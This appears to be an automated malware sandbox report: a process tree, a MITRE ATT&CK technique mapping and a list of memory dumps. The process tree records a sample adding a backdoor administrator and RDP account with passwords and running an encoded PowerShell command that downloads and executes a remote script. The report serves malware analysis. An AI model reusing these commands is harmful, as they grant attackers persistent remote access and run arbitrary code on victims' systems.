cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4020
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:3912

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
    3⤵
    PID:3680

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3416

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc fimlDzwq
1⤵
PID:204
- C:\Windows\system32\net.exe
  net.exe user wgautilacc fimlDzwq
  2⤵
  PID:3612
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc fimlDzwq
    3⤵
    PID:2096

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4072
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:1796

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3416
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:1916

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3912
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3568

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:2284
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1676-186-0x0000021F7F0A0000-0x0000021F7F0A2000-memory.dmp

Filesize
8KB

Download
memory/1676-187-0x0000021F7F0A3000-0x0000021F7F0A5000-memory.dmp

Filesize
8KB

Download
memory/1676-190-0x0000021F7F0A6000-0x0000021F7F0A8000-memory.dmp

Filesize
8KB

Download
memory/1676-213-0x0000021F7F0A8000-0x0000021F7F0AA000-memory.dmp

Filesize
8KB

Download
memory/2432-143-0x000001D39CE63000-0x000001D39CE65000-memory.dmp

Filesize
8KB

Download
memory/2432-223-0x000001D39CE68000-0x000001D39CE69000-memory.dmp

Filesize
4KB

Download
memory/2432-144-0x000001D39D880000-0x000001D39D881000-memory.dmp

Filesize
4KB

Download
memory/2432-151-0x000001D39CE66000-0x000001D39CE68000-memory.dmp

Filesize
8KB

Download
memory/2432-159-0x000001D39CE20000-0x000001D39CE21000-memory.dmp

Filesize
4KB

Download
memory/2432-142-0x000001D39CE60000-0x000001D39CE62000-memory.dmp

Filesize
8KB

Download
memory/2432-139-0x000001D384B30000-0x000001D384B31000-memory.dmp

Filesize
4KB

Download
memory/2432-166-0x000001D39DDD0000-0x000001D39DDD1000-memory.dmp

Filesize
4KB

Download
memory/2432-167-0x000001D39E160000-0x000001D39E161000-memory.dmp

Filesize
4KB

Download
memory/2772-214-0x000001FD1E930000-0x000001FD1E932000-memory.dmp

Filesize
8KB

Download
memory/2772-218-0x000001FD1E938000-0x000001FD1E93A000-memory.dmp

Filesize
8KB

Download
memory/2772-217-0x000001FD1E936000-0x000001FD1E938000-memory.dmp

Filesize
8KB

Download
memory/2772-215-0x000001FD1E933000-0x000001FD1E935000-memory.dmp

Filesize
8KB

Download
memory/3568-257-0x0000021876A46000-0x0000021876A48000-memory.dmp

Filesize
8KB

Download
memory/3568-255-0x0000021876A40000-0x0000021876A42000-memory.dmp

Filesize
8KB

Download
memory/3568-256-0x0000021876A43000-0x0000021876A45000-memory.dmp

Filesize
8KB

Download
memory/3568-258-0x0000021876A48000-0x0000021876A49000-memory.dmp

Filesize
4KB

Download
memory/3856-222-0x000001CCA3B38000-0x000001CCA3B3A000-memory.dmp

Filesize
8KB

Download
memory/3856-219-0x000001CCA3B30000-0x000001CCA3B32000-memory.dmp

Filesize
8KB

Download
memory/3856-220-0x000001CCA3B33000-0x000001CCA3B35000-memory.dmp

Filesize
8KB

Download
memory/3856-221-0x000001CCA3B36000-0x000001CCA3B38000-memory.dmp

Filesize
8KB

Download
memory/3880-129-0x00000150A68E0000-0x00000150A68E2000-memory.dmp

Filesize
8KB

Download
memory/3880-127-0x00000150C0DE0000-0x00000150C1201000-memory.dmp

Filesize
4.1MB

Download
memory/3880-130-0x00000150A68E3000-0x00000150A68E5000-memory.dmp

Filesize
8KB

Download
memory/3880-132-0x00000150A68E6000-0x00000150A68E7000-memory.dmp

Filesize
4KB

Download
memory/3880-131-0x00000150A68E5000-0x00000150A68E6000-memory.dmp

Filesize
4KB

Download
memory/4024-114-0x0000000002300000-0x0000000002391000-memory.dmp

Filesize
580KB

Download
memory/4024-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download